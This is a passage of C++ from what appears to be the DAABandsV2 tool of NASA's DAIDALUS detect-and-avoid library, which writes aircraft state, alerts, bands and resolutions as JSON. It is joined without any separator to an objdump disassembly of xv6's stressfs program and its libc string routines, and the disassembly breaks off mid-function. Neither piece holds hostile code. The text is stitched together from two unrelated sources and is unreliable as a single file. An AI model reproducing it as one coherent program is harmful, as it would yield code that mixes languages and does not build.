std::string& label, const Vect3& v) const { std::string json = ""; json += "\""+label+"\": { "; json += "\"x\": \"" + fmt(v.x) + "\""; json += ", \"y\": \"" + fmt(v.y) + "\""; json += ", \"z\": \"" + fmt(v.z) + "\""; json += " }"; return json; } std::string jsonAircraftState(const TrafficState& ac, bool wind) const { Velocity av = ac.getAirVelocity(); Velocity gv = ac.getGroundVelocity(); std::string json = "{ "; json += "\"id\": \""+ ac.getId()+"\""; json += ", "+jsonVect3("s",ac.get_s()); json += ", "+jsonVect3("v",ac.get_v()); json += ", "+jsonValUnits("altitude",ac.altitude(),alt_units); json += ", "+jsonValUnits("track",gv.compassAngle(),hdir_units); json += ", "+jsonValUnits("heading",av.compassAngle(),hdir_units); json += ", "+jsonValUnits("groundspeed",gv.gs(),hs_units); json += ", "+jsonValUnits("airspeed",av.gs(),hs_units); json += ", "+jsonValUnits("verticalspeed",ac.verticalSpeed(),vs_units); json += ", \"wind\": "+Fmb(wind); json += " }"; return json; } std::string jsonAircraftMetrics(int ac_idx) { int alerter_idx = daa.alerterIndexBasedOnAlertingLogic(ac_idx); Alerter alerter = daa.getAlerterAt(alerter_idx); int corrective_level = daa.correctiveAlertLevel(alerter_idx); Detection3D* detector = alerter.getDetectorPtr(corrective_level); double taumod = (detector != NULL && detector->getSimpleSuperClassName() == "WCV_tvar") ? daa.modifiedTau(ac_idx,((WCV_tvar*)detector)->getDTHR()) : NaN; std::string json = "{ "; json += "\"separation\": { "+jsonValUnits("horizontal",daa.currentHorizontalSeparation(ac_idx),hrec_units) + ", "+jsonValUnits("vertical",daa.currentVerticalSeparation(ac_idx),vrec_units) + " }"; json += ", \"missdistance\": { "+jsonValUnits("horizontal",daa.predictedHorizontalMissDistance(ac_idx),hrec_units) + ", "+jsonValUnits("vertical",daa.predictedVerticalMissDistance(ac_idx),vrec_units) + " }"; json += ", \"closurerate\": { "+jsonValUnits("horizontal",daa.horizontalClosureRate(ac_idx),hs_units) + ", "+jsonValUnits("vertical",daa.verticalClosureRate(ac_idx),vs_units) + " }"; json += ", "+jsonValUnits("tcpa",daa.timeToHorizontalClosestPointOfApproach(ac_idx),time_units); json += ", "+jsonValUnits("tcoa",daa.timeToCoAltitude(ac_idx),time_units); json += ", "+jsonValUnits("taumod",taumod,time_units); json += " }"; return json; } std::string jsonBands ( DAAMonitorsV2& monitors, std::vector<std::string>& ownshipArray, std::vector<std::string>& alertsArray, std::vector<std::string>& metricsArray, std::vector<std::string>& trkArray, std::vector<std::string>& gsArray, std::vector<std::string>& vsArray, std::vector<std::string>& altArray, std::vector<std::string>& resTrkArray, std::vector<std::string>& resGsArray, std::vector<std::string>& resVsArray, std::vector<std::string>& resAltArray, std::vector<std::string>& contoursArray, std::vector<std::string>& hazardZonesArray, std::vector<std::string>& monitorM1Array, std::vector<std::string>& monitorM2Array, std::vector<std::string>& monitorM3Array, std::vector<std::string>& monitorM4Array) { // ownship TrafficState ownship = daa.getOwnshipState(); std::string time = fmt(daa.getCurrentTime()); std::string own = "{ \"time\": " + time; own += ", \"acstate\": " + jsonAircraftState(daa.getOwnshipState(), !daa.getWindVelocityTo().isZero()); BandsRegion::Region currentTrkRegion = daa.regionOfHorizontalDirection(ownship.horizontalDirection()); own += ", "+jsonString("trk_region",BandsRegion::to_string(currentTrkRegion)); BandsRegion::Region currentGsRegion = daa.regionOfHorizontalSpeed(ownship.horizontalSpeed()); own += ", "+jsonString("gs_region",BandsRegion::to_string(currentGsRegion)); BandsRegion::Region currentVsRegion = daa.regionOfVerticalSpeed(ownship.verticalSpeed()); own += ", "+jsonString("vs_region",BandsRegion::to_string(currentVsRegion)); BandsRegion::Region currentAltRegion = daa.regionOfAltitude(ownship.altitude()); own += ", "+jsonString("alt_region",BandsRegion::to_string(currentAltRegion)); own += " }"; ownshipArray.push_back(own); // traffic alerts std::string alerts = "{ \"time\": " + time + ", \"alerts\": [ "; for (int ac = 1; ac <= daa.lastTrafficIndex(); ac++) { int alerter_idx = daa.alerterIndexBasedOnAlertingLogic(ac); Alerter alerter = daa.getAlerterAt(alerter_idx); int alert_level = daa.alertLevel(ac); BandsRegion::Region alert_region = BandsRegion::UNKNOWN; if (alert_level == 0) { alert_region = BandsRegion::NONE; } else { alert_region = daa.regionOfAlertLevel(alerter_idx,alert_level); } std::string ac_name = daa.getAircraftStateAt(ac).getId(); if (ac > 1) { alerts += ", "; } alerts += "{ " + jsonString("ac",ac_name) + ", " + jsonInt("alert_level",alert_level) + ", " + jsonString("alert_region",BandsRegion::to_string(alert_region)) + ", " + jsonString("alerter",alerter.getId()) + ", " + jsonInt("alerter_idx",alerter_idx) + "}"; } alerts += " ]}"; alertsArray.push_back(alerts); // Traffic aircraft std::string traffic = "{ \"time\": " + time + ", \"aircraft\": [ "; for (int ac = 1; ac <= daa.lastTrafficIndex(); ac++) { if (ac > 1) { traffic += ", "; } traffic += "{ \"acstate\": " + jsonAircraftState(daa.getAircraftStateAt(ac), !daa.getWindVelocityTo().isZero()); traffic += ", \"metrics\": " + jsonAircraftMetrics(ac); traffic += " }"; } traffic += " ]}"; metricsArray.push_back(traffic); // bands std::string trkBands = "{ \"time\": " + time; trkBands += ", \"bands\": [ "; for (int i = 0; i < daa.horizontalDirectionBandsLength(); i++) { trkBands += "{ \"range\": " + daa.horizontalDirectionIntervalAt(i, hdir_units).toString(); trkBands += ", \"units\": \"" + hdir_units + "\""; trkBands += ", \"region\": \"" + BandsRegion::to_string(daa.horizontalDirectionRegionAt(i)) + "\" }"; if (i < daa.horizontalDirectionBandsLength() - 1) { trkBands += ", "; } } trkBands += " ]}"; trkArray.push_back(trkBands); std::string gsBands = "{ \"time\": " + time; gsBands += ", \"bands\": [ "; for (int i = 0; i < daa.horizontalSpeedBandsLength(); i++) { gsBands += "{ \"range\": " + daa.horizontalSpeedIntervalAt(i, hs_units).toString(); gsBands += ", \"units\": \"" + hs_units + "\""; gsBands += ", \"region\": \"" + BandsRegion::to_string(daa.horizontalSpeedRegionAt(i)) + "\" }"; if (i < daa.horizontalSpeedBandsLength() - 1) { gsBands += ", "; } } gsBands += " ]}"; gsArray.push_back(gsBands); std::string vsBands = "{ \"time\": " + time; vsBands += ", \"bands\": [ "; for (int i = 0; i < daa.verticalSpeedBandsLength(); i++) { vsBands += "{ \"range\": " + daa.verticalSpeedIntervalAt(i, vs_units).toString(); vsBands += ", \"units\": \"" + vs_units + "\""; vsBands += ", \"region\": \"" + BandsRegion::to_string(daa.verticalSpeedRegionAt(i)) + "\" }"; if (i < daa.verticalSpeedBandsLength() - 1) { vsBands += ", "; } } vsBands += " ]}"; vsArray.push_back(vsBands); std::string altBands = "{ \"time\": " + time; altBands += ", \"bands\": [ "; for (int i = 0; i < daa.altitudeBandsLength(); i++) { altBands += "{ \"range\": " + daa.altitudeIntervalAt(i, alt_units).toString(); altBands += ", \"units\": \"" + alt_units + "\""; altBands += ", \"region\": \"" + BandsRegion::to_string(daa.altitudeRegionAt(i)) + "\" }"; if (i < daa.altitudeBandsLength() - 1) { altBands += ", "; } } altBands += " ]}"; altArray.push_back(altBands); // resolutions std::string trkResolution = "{ \"time\": " + time; bool preferredTrk = daa.preferredHorizontalDirectionRightOrLeft(); double resTrk = daa.horizontalDirectionResolution(preferredTrk); double resTrk_sec = daa.horizontalDirectionResolution(!preferredTrk); BandsRegion::Region resTrkRegion = daa.regionOfHorizontalDirection(resTrk); BandsRegion::Region resTrkRegion_sec = daa.regionOfHorizontalDirection(resTrk_sec); bool isConflict = !ISNAN(resTrk); RecoveryInformation recoveryInfo = daa.horizontalDirectionRecoveryInformation(); bool isRecovery = recoveryInfo.recoveryBandsComputed(); bool isSaturated = recoveryInfo.recoveryBandsSaturated(); std::string timeToRecovery = fmt(recoveryInfo.timeToRecovery()); std::string nFactor = Fmi(recoveryInfo.nFactor()); trkResolution += ", "+jsonValueRegion("preferred_resolution",resTrk,hdir_units,resTrkRegion); trkResolution += ", "+jsonValueRegion("other_resolution",resTrk_sec,hdir_units,resTrkRegion_sec); trkResolution += ", \"flags\": { \"conflict\": " + Fmb(isConflict) + ", \"recovery\": " + Fmb(isRecovery) + ", \"saturated\": " + Fmb(isSaturated) + ", \"preferred\": " + Fmb(preferredTrk) + " }"; trkResolution += ", \"recovery\": { \"time\": \"" + timeToRecovery + "\", \"nfactor\": \"" + nFactor; trkResolution += "\", \"distance\": {"+jsonValUnits("horizontal",recoveryInfo.recoveryHorizontalDistance(),hrec_units); trkResolution += ", "+jsonValUnits("vertical",recoveryInfo.recoveryVerticalDistance(),vrec_units)+"}}"; trkResolution += " }"; resTrkArray.push_back(trkResolution); std::string gsResolution = "{ \"time\": " + time; bool preferredGs = daa.preferredHorizontalSpeedUpOrDown(); double resGs = daa.horizontalSpeedResolution(preferredGs); double resGs_sec = daa.horizontalSpeedResolution(!preferredGs); BandsRegion::Region resGsRegion = daa.regionOfHorizontalSpeed(resGs); // we want to use internal units here, to minimize round-off errors BandsRegion::Region resGsRegion_sec = daa.regionOfHorizontalSpeed(resGs_sec); // we want to use internal units here, to minimize round-off errors isConflict = !ISNAN(resGs); recoveryInfo = daa.horizontalSpeedRecoveryInformation(); isRecovery = recoveryInfo.recoveryBandsComputed(); isSaturated = recoveryInfo.recoveryBandsSaturated(); timeToRecovery = fmt(recoveryInfo.timeToRecovery()); nFactor = Fmi(recoveryInfo.nFactor()); gsResolution += ", "+jsonValueRegion("preferred_resolution",resGs,hs_units,resGsRegion); gsResolution += ", "+jsonValueRegion("other_resolution",resGs_sec,hs_units,resGsRegion_sec); gsResolution += ", \"flags\": { \"conflict\": " + Fmb(isConflict) + ", \"recovery\": " + Fmb(isRecovery) + ", \"saturated\": " + Fmb(isSaturated) + ", \"preferred\": " + Fmb(preferredGs) + " }"; gsResolution += ", \"recovery\": { \"time\": \"" + timeToRecovery + "\", \"nfactor\": \"" + nFactor; gsResolution += "\", \"distance\": {"+jsonValUnits("horizontal",recoveryInfo.recoveryHorizontalDistance(),hrec_units); gsResolution += ", "+jsonValUnits("vertical",recoveryInfo.recoveryVerticalDistance(),vrec_units)+"}}"; gsResolution += " }"; resGsArray.push_back(gsResolution); std::string vsResolution = "{ \"time\": " + time; bool preferredVs = daa.preferredVerticalSpeedUpOrDown(); double resVs = daa.verticalSpeedResolution(preferredVs); double resVs_sec = daa.verticalSpeedResolution(!preferredVs); BandsRegion::Region resVsRegion = daa.regionOfVerticalSpeed(resVs); // we want to use internal units here, to minimize round-off errors BandsRegion::Region resVsRegion_sec = daa.regionOfVerticalSpeed(resVs_sec); // we want to use internal units here, to minimize round-off errors isConflict = !ISNAN(resVs); recoveryInfo = daa.verticalSpeedRecoveryInformation(); isRecovery = recoveryInfo.recoveryBandsComputed(); isSaturated = recoveryInfo.recoveryBandsSaturated(); timeToRecovery = fmt(recoveryInfo.timeToRecovery()); nFactor = Fmi(recoveryInfo.nFactor()); vsResolution += ", "+jsonValueRegion("preferred_resolution",resVs,vs_units,resVsRegion); vsResolution += ", "+jsonValueRegion("other_resolution",resVs_sec,vs_units,resVsRegion_sec); vsResolution += ", \"flags\": { \"conflict\": " + Fmb(isConflict) + ", \"recovery\": " + Fmb(isRecovery) + ", \"saturated\": " + Fmb(isSaturated) + ", \"preferred\": " + Fmb(preferredVs) + " }"; vsResolution += ", \"recovery\": { \"time\": \"" + timeToRecovery + "\", \"nfactor\": \"" + nFactor; vsResolution += "\", \"distance\": {"+jsonValUnits("horizontal",recoveryInfo.recoveryHorizontalDistance(),hrec_units); vsResolution += ", "+jsonValUnits("vertical",recoveryInfo.recoveryVerticalDistance(),vrec_units)+"}}"; vsResolution += " }"; resVsArray.push_back(vsResolution); std::string altResolution = "{ \"time\": " + time; bool preferredAlt = daa.preferredAltitudeUpOrDown(); double resAlt = daa.altitudeResolution(preferredAlt); double resAlt_sec = daa.altitudeResolution(!preferredAlt); BandsRegion::Region resAltRegion = daa.regionOfAltitude(resAlt); // we want to use internal units here, to minimize round-off errors BandsRegion::Region resAltRegion_sec = daa.regionOfAltitude(resAlt_sec); // we want to use internal units here, to minimize round-off errors isConflict = !ISNAN(resAlt); recoveryInfo = daa.altitudeRecoveryInformation(); isRecovery = recoveryInfo.recoveryBandsComputed(); isSaturated = recoveryInfo.recoveryBandsSaturated(); timeToRecovery = fmt(recoveryInfo.timeToRecovery()); nFactor = Fmi(recoveryInfo.nFactor()); altResolution += ", "+jsonValueRegion("preferred_resolution",resAlt,alt_units,resAltRegion); altResolution += ", "+jsonValueRegion("other_resolution",resAlt_sec,alt_units,resAltRegion_sec); altResolution += ", \"flags\": { \"conflict\": " + Fmb(isConflict) + ", \"recovery\": " + Fmb(isRecovery) + ", \"saturated\": " + Fmb(isSaturated) + ", \"preferred\": " + Fmb(preferredAlt) + " }"; altResolution += ", \"recovery\": { \"time\": \"" + timeToRecovery + "\", \"nfactor\": \"" + nFactor; altResolution += "\", \"distance\": {"+jsonValUnits("horizontal",recoveryInfo.recoveryHorizontalDistance(),hrec_units); altResolution += ", "+jsonValUnits("vertical",recoveryInfo.recoveryVerticalDistance(),vrec_units)+"}}"; altResolution += " }"; resAltArray.push_back(altResolution); // Contours and hazard zones are lists of polygons, and polygons are list of points. Position po = daa.getAircraftStateAt(0).getPosition(); std::string contours = "{ \"time\": " + time; contours += ",\n \"data\": [ "; for (int ac = 1; ac <= daa.lastTrafficIndex(); ac++) { std::string ac_name = daa.getAircraftStateAt(ac).getId(); std::vector< std::vector<Position> > polygons; daa.horizontalContours(polygons, ac); contours += "{ \"ac\": \"" + ac_name + "\",\n"; contours += " \"polygons\": " + printPolygons(polygons, po) + "}"; if (ac < daa.lastTrafficIndex()) { contours += ", "; } } contours += " ]}"; contoursArray.push_back(contours); std::string hazardZones = "{ \"time\": " + time; hazardZones += ",\n \"data\": [ "; for (int ac = 1; ac <= daa.lastTrafficIndex(); ac++) { std::string ac_name = daa.getAircraftStateAt(ac).getId(); std::vector<Position> ply_violation; daa.horizontalHazardZone(ply_violation, ac, true, false); std::vector<Position> ply_conflict; daa.horizontalHazardZone(ply_conflict, ac, false, false); std::vector< std::vector<Position> > polygons; polygons.push_back(ply_violation); polygons.push_back(ply_conflict); hazardZones += "{ \"ac\": \"" + ac_name + "\",\n"; hazardZones += " \"polygons\": " + printPolygons(polygons, po) + "}"; if (ac < daa.lastTrafficIndex()) { hazardZones += ", "; } } hazardZones += " ]}"; hazardZonesArray.push_back(hazardZones); // monitors monitors.check(daa); std::string monitorM1 = "{ \"time\": " + time + ", " + monitors.m1() + " }"; monitorM1Array.push_back(monitorM1); std::string monitorM2 = "{ \"time\": " + time + ", " + monitors.m2() + " }"; monitorM2Array.push_back(monitorM2); std::string monitorM3 = "{ \"time\": " + time + ", " + monitors.m3(daa) + " }"; monitorM3Array.push_back(monitorM3); std::string monitorM4 = "{ \"time\": " + time + ", " + monitors.m4(daa) + " }"; monitorM4Array.push_back(monitorM4); // config std::string stats = "\"hs\": { \"min\": " + fmt(daa.getMinHorizontalSpeed(hs_units)) + ", \"max\": " + fmt(daa.getMaxHorizontalSpeed(hs_units)) + ", \"units\": \"" + hs_units + "\" },\n" + "\"vs\": { \"min\": " + fmt(daa.getMinVerticalSpeed(vs_units)) + ", \"max\": " + fmt(daa.getMaxVerticalSpeed(vs_units)) + ", \"units\": \"" + vs_units + "\" },\n" + "\"alt\": { \"min\": " + fmt(daa.getMinAltitude(alt_units)) + ", \"max\": " + fmt(daa.getMaxAltitude(alt_units)) + ", \"units\": \"" + alt_units + "\" },\n" + "\"MostSevereAlertLevel\": \"" + Fmi(daa.mostSevereAlertLevel(1)) + "\""; return stats; } void walkFile () { if (ifname.empty()) { std::cerr << "** Error: Please specify a daa file" << std::endl; exit(1); } if (!inputFileReadable()) { std::cerr << "** Error: File " << getInputFileName() << " cannot be read" << std::endl; exit(1); } createPrintWriter(); /* Create DaidalusFileWalker */ DaidalusFileWalker walker(ifname); *printWriter << "{\n" + jsonHeader() << std::endl; std::vector<std::string> trkArray; std::vector<std::string> gsArray; std::vector<std::string> vsArray; std::vector<std::string> altArray; std::vector<std::string> alertsArray; std::vector<std::string> ownshipArray; std::vector<std::string> metricsArray; std::vector<std::string> resTrkArray; std::vector<std::string> resGsArray; std::vector<std::string> resVsArray; std::vector<std::string> resAltArray; std::vector<std::string> contoursArray; std::vector<std::string> hazardZonesArray; DAAMonitorsV2 monitors; std::vector<std::string> monitorM1Array; std::vector<std::string> monitorM2Array; std::vector<std::string> monitorM3Array; std::vector<std::string> monitorM4Array; std::string jsonStats = ""; /* Processing the input file time step by time step and writing output file */ while (!walker.atEnd()) { walker.readState(daa); jsonStats = jsonBands( monitors, ownshipArray, alertsArray, metricsArray, trkArray, gsArray, vsArray, altArray, resTrkArray, resGsArray, resVsArray, resAltArray, contoursArray, hazardZonesArray, monitorM1Array, monitorM2Array, monitorM3Array, monitorM4Array); } *printWriter << jsonStats + "," << std::endl; printArray(*printWriter, ownshipArray, "Ownship"); *printWriter << ",\n"; printArray(*printWriter, alertsArray, "Alerts"); *printWriter << ",\n"; printArray(*printWriter, metricsArray, "Metrics"); *printWriter << ",\n"; printArray(*printWriter, trkArray, "Heading Bands"); *printWriter << ",\n"; printArray(*printWriter, gsArray, "Horizontal Speed Bands"); *printWriter << ",\n"; printArray(*printWriter, vsArray, "Vertical Speed Bands"); *printWriter << ",\n"; printArray(*printWriter, altArray, "Altitude Bands"); *printWriter << ",\n"; printArray(*printWriter, resTrkArray, "Horizontal Direction Resolution"); *printWriter << ",\n"; printArray(*printWriter, resGsArray, "Horizontal Speed Resolution"); *printWriter << ",\n"; printArray(*printWriter, resVsArray, "Vertical Speed Resolution"); *printWriter << ",\n"; printArray(*printWriter, resAltArray, "Altitude Resolution"); *printWriter << ",\n"; printArray(*printWriter, contoursArray, "Contours"); *printWriter << ",\n"; printArray(*printWriter, hazardZonesArray, "Hazard Zones"); *printWriter << ",\n"; *printWriter << "\"Monitors\":\n"; std::vector< std::vector<std::string> > info; info.push_back(monitorM1Array); info.push_back(monitorM2Array); info.push_back(monitorM3Array); info.push_back(monitorM4Array); printMonitors(*printWriter, monitors, info); *printWriter << "}\n"; closePrintWriter(); } std::string getFileName (const std::string& fname) const { if (fname.find_last_of("/")) { std::string str(fname); int name_start = str.find_last_of("/"); return fname.substr(name_start + 1); } return fname; } std::string removeExtension (const std::string& fname) const { if (fname.find_last_of(".")) { int dot = fname.find_last_of("."); if (dot > 0) { return fname.substr(0, dot).c_str(); } } return fname; } std::string getVersion () const { return DaidalusParameters::VERSION; } void parseCliArgs (char* const args[], int length) { if (args == NULL || length <= 1) { printHelpMsg(); exit(0); } for (int a = 1; a < length; a++) { if (std::strcmp(args[a], "--help") == 0 || std::strcmp(args[a], "-help") == 0 || std::strcmp(args[a], "-h") == 0) { printHelpMsg(); exit(0); } else if (startsWith(args[a], "--list-monitors") || startsWith(args[a], "-list-monitors")) { std::cout << printMonitorList() << std::endl; exit(0); } else if (startsWith(args[a], "--version") || startsWith(args[a], "-version")) { std::cout << getVersion() << std::endl; exit(0); } else if (a < length - 1 && (startsWith(args[a], "--prec") || startsWith(args[a], "-prec") || std::strcmp(args[a], "-p") == 0)) { precision = std::stoi(args[++a]); } else if (a < length - 1 && (startsWith(args[a], "--conf") || startsWith(args[a], "-conf") || std::strcmp(args[a], "-c") == 0)) { daaConfig = args[++a]; } else if (a < length - 1 && (startsWith(args[a], "--out") || startsWith(args[a], "-out") || std::strcmp(args[a], "-o") == 0)) { ofname = args[++a]; } else if (a < length - 1 && (startsWith(args[a], "--wind") || startsWith(args[a], "-wind"))) { wind = args[++a]; } else if (startsWith(args[a], "-")) { std::cerr << "** Error: Invalid option (" << args[a] << ")" << std::endl; } else { ifname = args[a]; } } scenario = removeExtension(getFileName(ifname)); if (ofname.empty()) { ofname = "./" + scenario + ".json"; } } bool inputFileReadable () const { std::string inputFile = getInputFileName(); std::ifstream file(inputFile); return file.good(); } bool createPrintWriter () { printWriter = new std::ofstream(ofname); std::cout << "Creating output file " << ofname << std::endl; return true; } bool closePrintWriter () { if (printWriter != NULL) { printWriter->close(); delete printWriter; return true; } return false; } }; const std::string DAABandsV2::tool_name = "DAABandsV2"; const double DAABandsV2::latOffset = 37.0298687; const double DAABandsV2::lonOffset = -76.3452218; const double DAABandsV2::latlonThreshold = 0.3; int main(int argc, char* argv[]) { DAABandsV2 daaBands; daaBands.parseCliArgs(argv, argc); daaBands.loadDaaConfig(); daaBands.loadWind(); daaBands.walkFile(); }
_stressfs: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fs.h" #include "fcntl.h" int main(int argc, char *argv[]) { 0: 8d 4c 24 04 lea 0x4(%esp),%ecx 4: 83 e4 f0 and $0xfffffff0,%esp int fd, i; char path[] = "stressfs0"; 7: b8 30 00 00 00 mov $0x30,%eax { c: ff 71 fc pushl -0x4(%ecx) f: 55 push %ebp 10: 89 e5 mov %esp,%ebp 12: 57 push %edi 13: 56 push %esi 14: 53 push %ebx 15: 51 push %ecx char data[512]; printf(1, "stressfs starting\n"); memset(data, 'a', sizeof(data)); 16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi for(i = 0; i < 4; i++) 1c: 31 db xor %ebx,%ebx { 1e: 81 ec 20 02 00 00 sub $0x220,%esp char path[] = "stressfs0"; 24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp) 2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp) 32: 74 72 65 printf(1, "stressfs starting\n"); 35: 68 48 08 00 00 push $0x848 3a: 6a 01 push $0x1 char path[] = "stressfs0"; 3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp) 43: 73 66 73 printf(1, "stressfs starting\n"); 46: e8 a5 04 00 00 call 4f0 <printf> memset(data, 'a', sizeof(data)); 4b: 83 c4 0c add $0xc,%esp 4e: 68 00 02 00 00 push $0x200 53: 6a 61 push $0x61 55: 56 push %esi 56: e8 95 01 00 00 call 1f0 <memset> 5b: 83 c4 10 add $0x10,%esp if(fork() > 0) 5e: e8 27 03 00 00 call 38a <fork> 63: 85 c0 test %eax,%eax 65: 0f 8f bf 00 00 00 jg 12a <main+0x12a> for(i = 0; i < 4; i++) 6b: 83 c3 01 add $0x1,%ebx 6e: 83 fb 04 cmp $0x4,%ebx 71: 75 eb jne 5e <main+0x5e> 73: bf 04 00 00 00 mov $0x4,%edi break; printf(1, "write %d\n", i); 78: 83 ec 04 sub $0x4,%esp 7b: 53 push %ebx 7c: 68 5b 08 00 00 push $0x85b path[8] += i; fd = open(path, O_CREATE | O_RDWR); 81: bb 14 00 00 00 mov $0x14,%ebx printf(1, "write %d\n", i); 86: 6a 01 push $0x1 88: e8 63 04 00 00 call 4f0 <printf> path[8] += i; 8d: 89 f8 mov %edi,%eax 8f: 00 85 e6 fd ff ff add %al,-0x21a(%ebp) fd = open(path, O_CREATE | O_RDWR); 95: 5f pop %edi 96: 58 pop %eax 97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax 9d: 68 02 02 00 00 push $0x202 a2: 50 push %eax a3: e8 2a 03 00 00 call 3d2 <open> a8: 83 c4 10 add $0x10,%esp ab: 89 c7 mov %eax,%edi ad: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < 20; i++) // printf(fd, "%d\n", i); write(fd, data, sizeof(data)); b0: 83 ec 04 sub $0x4,%esp b3: 68 00 02 00 00 push $0x200 b8: 56 push %esi b9: 57 push %edi ba: e8 f3 02 00 00 call 3b2 <write> for(i = 0; i < 20; i++) bf: 83 c4 10 add $0x10,%esp c2: 83 eb 01 sub $0x1,%ebx c5: 75 e9 jne b0 <main+0xb0> close(fd); c7: 83 ec 0c sub $0xc,%esp ca: 57 push %edi cb: e8 ea 02 00 00 call 3ba <close> printf(1, "read\n"); d0: 58 pop %eax d1: 5a pop %edx d2: 68 65 08 00 00 push $0x865 d7: 6a 01 push $0x1 d9: e8 12 04 00 00 call 4f0 <printf> fd = open(path, O_RDONLY); de: 59 pop %ecx df: 8d 85 de fd ff ff lea -0x222(%ebp),%eax e5: 5b pop %ebx e6: 6a 00 push $0x0 e8: 50 push %eax e9: bb 14 00 00 00 mov $0x14,%ebx ee: e8 df 02 00 00 call 3d2 <open> f3: 83 c4 10 add $0x10,%esp f6: 89 c7 mov %eax,%edi f8: 90 nop f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi for (i = 0; i < 20; i++) read(fd, data, sizeof(data)); 100: 83 ec 04 sub $0x4,%esp 103: 68 00 02 00 00 push $0x200 108: 56 push %esi 109: 57 push %edi 10a: e8 9b 02 00 00 call 3aa <read> for (i = 0; i < 20; i++) 10f: 83 c4 10 add $0x10,%esp 112: 83 eb 01 sub $0x1,%ebx 115: 75 e9 jne 100 <main+0x100> close(fd); 117: 83 ec 0c sub $0xc,%esp 11a: 57 push %edi 11b: e8 9a 02 00 00 call 3ba <close> wait(); 120: e8 75 02 00 00 call 39a <wait> exit(); 125: e8 68 02 00 00 call 392 <exit> 12a: 89 df mov %ebx,%edi 12c: e9 47 ff ff ff jmp 78 <main+0x78> 131: 66 90 xchg %ax,%ax 133: 66 90 xchg %ax,%ax 135: 66 90 xchg %ax,%ax 137: 66 90 xchg %ax,%ax 139: 66 90 xchg %ax,%ax 13b: 66 90 xchg %ax,%ax 13d: 66 90 xchg %ax,%ax 13f: 90 nop 00000140 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 140: 55 push %ebp 141: 89 e5 mov %esp,%ebp 143: 53 push %ebx 144: 8b 45 08 mov 0x8(%ebp),%eax 147: 8b 4d 0c mov 0xc(%ebp),%ecx char *os; os = s; while((*s++ = *t++) != 0) 14a: 89 c2 mov %eax,%edx 14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 150: 83 c1 01 add $0x1,%ecx 153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx 157: 83 c2 01 add $0x1,%edx 15a: 84 db test %bl,%bl 15c: 88 5a ff mov %bl,-0x1(%edx) 15f: 75 ef jne 150 <strcpy+0x10> ; return os; } 161: 5b pop %ebx 162: 5d pop %ebp 163: c3 ret 164: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 16a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000170 <strcmp>: int strcmp(const char *p, const char *q) { 170: 55 push %ebp 171: 89 e5 mov %esp,%ebp 173: 53 push %ebx 174: 8b 55 08 mov 0x8(%ebp),%edx 177: 8b 4d 0c mov 0xc(%ebp),%ecx while(*p && *p == *q) 17a: 0f b6 02 movzbl (%edx),%eax 17d: 0f b6 19 movzbl (%ecx),%ebx 180: 84 c0 test %al,%al 182: 75 1c jne 1a0 <strcmp+0x30> 184: eb 2a jmp 1b0 <strcmp+0x40> 186: 8d 76 00 lea 0x0(%esi),%esi 189: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p++, q++; 190: 83 c2 01 add $0x1,%edx while(*p && *p == *q) 193: 0f b6 02 movzbl (%edx),%eax p++, q++; 196: 83 c1 01 add $0x1,%ecx 199: 0f b6 19 movzbl (%ecx),%ebx while(*p && *p == *q) 19c: 84 c0 test %al,%al 19e: 74 10 je 1b0 <strcmp+0x40> 1a0: 38 d8 cmp %bl,%al 1a2: 74 ec je 190 <strcmp+0x20> return (uchar)*p - (uchar)*q; 1a4: 29 d8 sub %ebx,%eax } 1a6: 5b pop %ebx 1a7: 5d pop %ebp 1a8: c3 ret 1a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1b0: 31 c0 xor %eax,%eax return (uchar)*p - (uchar)*q; 1b2: 29 d8 sub %ebx,%eax } 1b4: 5b pop %ebx 1b5: 5d pop %ebp 1b6: c3 ret 1b7: 89 f6 mov %esi,%esi 1b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 000001c0 <strlen>: uint strlen(const char *s) { 1c0: 55 push %ebp 1c1: 89 e5 mov %esp,%ebp 1c3: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 1c6: 80 39 00 cmpb $0x0,(%ecx) 1c9: 74 15 je 1e0 <strlen+0x20> 1cb: 31 d2 xor %edx,%edx 1cd: 8d 76 00 lea 0x0(%esi),%esi 1d0: 83 c2 01 add $0x1,%edx 1d3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) 1d7: 89 d0 mov %edx,%eax 1d9: 75 f5 jne 1d0 <strlen+0x10> ; return n; } 1db: 5d pop %ebp 1dc: c3 ret 1dd: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) 1e0: 31 c0 xor %eax,%eax } 1e2: 5d pop %ebp 1e3: c3 ret 1e4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 1ea: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 000001f0 <memset>: void* memset(void *dst, int c, uint n) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 57 push %edi 1f4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : 1f7: 8b 4d 10 mov 0x10(%ebp),%ecx 1fa: 8b 45 0c mov 0xc(%ebp),%eax 1fd: 89 d7 mov %edx,%edi 1ff: fc cld 200: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } 202: 89 d0 mov %edx,%eax 204: 5f pop %edi 205: 5d pop %ebp 206: c3 ret 207: 89 f6 mov %esi,%esi 209: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 00000210 <strchr>: char* strchr(const char *s, char c) { 210: 55 push %ebp 211: 89 e5 mov %esp,%ebp 213: 53 push %ebx 214: 8b 45 08 mov 0x8(%ebp),%eax 